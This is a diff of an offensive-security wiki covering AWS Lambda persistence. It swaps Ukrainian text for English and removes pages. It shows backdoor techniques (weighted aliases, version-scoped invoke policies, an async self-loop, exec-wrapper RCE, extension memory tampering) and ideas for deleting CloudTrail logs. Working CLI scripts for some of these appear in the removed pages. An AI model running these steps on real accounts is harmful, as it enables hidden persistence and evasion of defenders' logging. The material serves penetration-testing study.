||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Через resource policies
|
||||
### Via resource policies
|
||||
|
||||
Можна надати доступ до різних дій Lambda (наприклад invoke або update code) зовнішнім акаунтам:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Версії, Aliases & Ваги
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Lambda може мати **різні версії** (кожна версія з різним кодом).\
|
||||
Потім ви можете створити **різні aliases, що вказують на різні версії** Lambda і призначити різні weights для кожного.\
|
||||
Таким чином атакуючий може створити **backdoored версію 1** і **версію 2 лише з легітимним кодом**, і **виконувати версію 1 лише в 1%** запитів, щоб залишатися непомітним.
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,90 +44,25 @@ Lambda може мати **різні версії** (кожна версія з
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Факт того, що ви можете змусити **Lambda functions запускатися при певних подіях або через певний інтервал часу**, робить Lambda популярним способом для отримання персистентності і уникнення виявлення.\
|
||||
Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною шляхом створення Lambdas**.
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Кожного разу при створенні нового користувача Lambda генерує новий user key і надсилає його атакуючому.
|
||||
- Кожного разу при створенні нової ролі Lambda надає права assume role скомпрометованим користувачам.
|
||||
- Кожного разу при створенні нових CloudTrail логів — видаляти/змінювати їх
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Зловживайте змінною середовища `AWS_LAMBDA_EXEC_WRAPPER`, щоб виконати скрипт-обгортку, контрольований атакуючим, перед стартом runtime/handler. Доставте обгортку через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Обгортка запускається всередині процесу runtime функції, успадковує роль виконання функції і нарешті `exec`-ує реальний runtime, тому оригінальний handler все ще виконується нормально.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL: публічний доступ
|
||||
|
||||
Зловживайте асинхронними destinations Lambda разом з конфігурацією Recursion, щоб змусити функцію постійно перевикликати саму себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє рекурсивні цикли, але встановлення recursion config в Allow знову їх дозволяє. Destinations доставляють на стороні сервісу для async invokes, тож один seed invoke створює прихований, безкодовий heartbeat/backdoor канал. Опційно обмежте через reserved concurrency, щоб знизити шум.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Створіть приховану версію Lambda з логікою атакуючого і застосуйте resource-based policy до цієї конкретної версії (або alias) за допомогою параметра `--qualifier` в `lambda add-permission`. Наділіть лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для принципалу атакуючого. Звичайні виклики через ім'я функції або головний alias залишаються без змін, тоді як атакуючий може безпосередньо викликати backdoored версію за ARN.
|
||||
|
||||
Це більш приховано, ніж відкривати Function URL, і не змінює основний alias трафіку.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Заморожування AWS Lambda Runtimes
|
||||
|
||||
Атакуючий, який має дозволи lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig та lambda:GetRuntimeManagementConfig, може змінити конфігурацію runtime management функції. Ця атака особливо ефективна, коли метою є утримати Lambda функцію на вразливій версії runtime або зберегти сумісність зі шкідливими layers, які можуть бути несумісні з новішими runtimes.
|
||||
|
||||
Атакуючий змінює конфігурацію runtime management, щоб зафіксувати версію runtime:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Перевірте застосовану конфігурацію:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Необов'язково: зафіксувати конкретну версію runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Прив'язати до конкретної версії runtime:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,46 @@
|
||||
# AWS - Зловживання розширеннями Lambda
|
||||
# AWS - Abusing Lambda Extensions
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Розширення Lambda
|
||||
## Lambda Extensions
|
||||
|
||||
Розширення Lambda покращують функції, інтегруючись з різними **інструментами моніторингу, спостереження, безпеки та управління**. Ці розширення, додані через [.zip архіви за допомогою шарів Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) або включені в [деплойменти контейнерних зображень](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), працюють у двох режимах: **внутрішньому** та **зовнішньому**.
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
|
||||
- **Внутрішні розширення** зливаються з процесом виконання, маніпулюючи його запуском за допомогою **змінних середовища, специфічних для мови** та **обгорткових скриптів**. Це налаштування застосовується до ряду середовищ виконання, включаючи **Java Correto 8 та 11, Node.js 10 та 12, і .NET Core 3.1**.
|
||||
- **Зовнішні розширення** працюють як окремі процеси, підтримуючи узгодженість роботи з життєвим циклом функції Lambda. Вони сумісні з різними середовищами виконання, такими як **Node.js 10 та 12, Python 3.7 та 3.8, Ruby 2.5 та 2.7, Java Corretto 8 та 11, .NET Core 3.1** та **кастомними середовищами виконання**.
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
|
||||
Для отримання додаткової інформації про [**як працюють розширення lambda, перегляньте документацію**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### Зовнішнє розширення для збереження, крадіжки запитів та модифікації запитів
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
Це резюме техніки, запропонованої в цьому пості: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Було виявлено, що за замовчуванням ядро Linux у середовищі виконання Lambda скомпільоване з системними викликами “**process_vm_readv**” та “**process_vm_writev**”. І всі процеси працюють з однаковим ідентифікатором користувача, навіть новий процес, створений для зовнішнього розширення. **Це означає, що зовнішнє розширення має повний доступ на читання та запис до пам'яті купи Rapid, за замовчуванням.**
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
|
||||
Більше того, хоча розширення Lambda мають можливість **підписуватися на події виклику**, AWS не розкриває сирі дані цим розширенням. Це забезпечує те, що **розширення не можуть отримати доступ до чутливої інформації**, переданої через HTTP запит.
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
|
||||
Процес Init (Rapid) моніторить всі API запити на [http://127.0.0.1:9001](http://127.0.0.1:9001/) під час ініціалізації розширень Lambda та їх виконання перед виконанням будь-якого коду середовища, але після Rapid.
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
Змінна **`AWS_LAMBDA_RUNTIME_API`** вказує **IP** адресу та **номер порту** Rapid API для **дочірніх процесів середовища виконання** та додаткових розширень.
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
|
||||
> [!WARNING]
|
||||
> Змінивши змінну середовища **`AWS_LAMBDA_RUNTIME_API`** на **`порт`**, до якого ми маємо доступ, можна перехопити всі дії в середовищі виконання Lambda (**людина посередині**). Це можливо, оскільки розширення працює з тими ж привілеями, що й Rapid Init, а ядро системи дозволяє **модифікацію пам'яті процесу**, що дозволяє змінювати номер порту.
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
|
||||
Оскільки **розширення працюють перед будь-яким кодом середовища**, зміна змінної середовища вплине на процес виконання (наприклад, Python, Java, Node, Ruby) під час його запуску. Крім того, **розширення, завантажені після** нашого, які покладаються на цю змінну, також будуть маршрутизуватися через наше розширення. Це налаштування може дозволити шкідливому ПЗ повністю обійти заходи безпеки або розширення журналювання безпосередньо в середовищі виконання.
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
Інструмент [**lambda-spy**](https://github.com/clearvector/lambda-spy) був створений для виконання **запису пам'яті** та **крадіжки чутливої інформації** з запитів lambda, інших **запитів розширень** та навіть **модифікації їх**.
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Резюме
|
||||
|
||||
Створіть приховану версію Lambda зі зловмисною логікою та застосуйте політику на основі ресурсу до цієї конкретної версії (або alias) за допомогою параметра `--qualifier` у `lambda add-permission`. Надайте лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для attacker principal. Звичайні виклики через ім'я функції або primary alias залишаються без змін, тоді як attacker може безпосередньо викликати backdoored version ARN.
|
||||
|
||||
Це менш помітно, ніж відкриття Function URL, і не змінює primary traffic alias.
|
||||
|
||||
## Необхідні дозволи (attacker)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (щоб додати політику ресурсу, обмежену певною версією)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (щоб імітувати attacker principal)
|
||||
|
||||
## Кроки атаки (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Опублікувати приховану версію, додати дозвіл, обмежений `--qualifier`, викликати як attacker</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Вплив
|
||||
|
||||
- Надає скритий backdoor для виклику прихованої версії функції без модифікації основного alias або розкриття Function URL.
|
||||
- Обмежує доступ лише до зазначеної версії/alias через resource-based policy `Qualifier`, зменшуючи поверхню виявлення, при цьому зберігаючи надійний виклик для зловмисного principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,96 +0,0 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловживання Lambda asynchronous destinations разом із конфігурацією Recursion дозволяє змусити функцію постійно перевикликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє рекурсивні цикли, але встановлення recursion config у Allow знову їх увімкне. Destinations доставляють виклики на стороні сервісу для async invokes, тож один початковий invoke створює малопомітний, безкодовий heartbeat/backdoor канал. За потреби можна обмежити через reserved concurrency, щоб зменшити шум.
|
||||
|
||||
Примітки
|
||||
- Lambda не дозволяє безпосередньо налаштувати функцію як її власний destination. Використовуйте function alias як destination і надайте execution role право викликати (invoke) цей alias.
|
||||
- Мінімальні права: можливість читати/оновлювати event invoke config та recursion config цільової функції, publish a version і керувати alias, а також оновлювати політику execution role функції, щоб дозволити lambda:InvokeFunction на цьому alias.
|
||||
|
||||
## Вимоги
|
||||
- Регіон: us-east-1
|
||||
- Змінні:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Кроки
|
||||
|
||||
1) Отримати ARN функції та поточну настройку recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Опублікуйте версію та створіть/оновіть alias (використовується як self destination)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Дозволити ролі виконання функції викликати alias (необхідно для Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Налаштуйте async destination на alias (себе через alias) і вимкніть повторні спроби
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Дозволити рекурсивні цикли
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Ініціювати один asynchronous invoke
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Спостерігайте безперервні виклики (приклади)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Необов'язковий stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Очищення
|
||||
|
||||
Припиніть цикл і видаліть persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Вплив
|
||||
- Один async invoke змушує Lambda постійно перевикликати себе без зовнішнього планувальника, що дозволяє приховану persistence/heartbeat. Reserved concurrency може обмежити шум до одного warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user